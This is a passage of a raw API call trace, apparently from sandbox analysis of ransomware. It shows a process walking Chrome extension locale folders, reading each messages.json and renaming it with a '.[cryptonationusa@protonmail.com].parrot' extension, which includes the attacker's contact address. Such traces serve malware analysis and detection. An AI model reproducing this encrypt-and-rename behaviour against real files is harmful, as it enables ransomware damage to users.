dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.598] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.599] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.599] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5074, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x5074, lpOverlapped=0x0) returned 1 [0074.601] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.602] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x518c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.602] CloseHandle (hObject=0x274) returned 1 [0074.602] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.605] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.605] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834aeab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9f39f80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9f39f80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.605] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834b11c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834b38d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9f39f80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x5198, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.606] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.606] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.606] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834b86f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834bae00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834bae00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.606] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.606] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.606] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834bae00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834bd510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83989580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x447a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.606] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4592, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.606] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.606] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.608] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.608] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x447a, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x447a, lpOverlapped=0x0) returned 1 [0074.609] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.610] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4592, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.610] CloseHandle (hObject=0x274) returned 1 [0074.610] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.613] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.613] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834b86f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9f39f80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9f39f80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.613] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834bae00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834bd510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9f39f80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4598, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.614] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.614] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.614] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834c4a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834c7150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834c7150, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.614] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.614] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.614] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834c7150, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834c9860, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83989580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x55a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.615] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x56bb, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.615] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.615] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.617] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.617] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x55a3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x55a3, lpOverlapped=0x0) returned 1 [0074.619] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.619] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x56bb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.619] CloseHandle (hObject=0x274) returned 1 [0074.620] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.622] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.623] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834c4a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9f600e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9f600e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.623] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834c7150, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834c9860, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9f600e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x56c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.623] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.623] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.623] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834cbf70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ce680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ce680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.623] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.623] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.623] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834ce680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d0d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83989580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x403a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.623] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4152, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.623] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.623] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.662] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.663] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x403a, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x403a, lpOverlapped=0x0) returned 1 [0074.666] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.666] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4152, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.666] CloseHandle (hObject=0x274) returned 1 [0074.667] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.670] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.670] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834cbf70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9fd2500, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9fd2500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.670] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834ce680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d0d90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9fd2500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.670] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.670] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.670] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834d34a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d5bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834d5bb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.670] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.670] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.670] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834d5bb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d82c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x416b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.671] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4283, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.671] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.671] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.673] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.673] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x416b, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x416b, lpOverlapped=0x0) returned 1 [0074.675] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.675] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4283, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.675] CloseHandle (hObject=0x274) returned 1 [0074.675] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.678] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.678] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834d34a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9fd2500, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9fd2500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.678] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834d5bb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d82c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9fd2500, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4288, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.679] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, 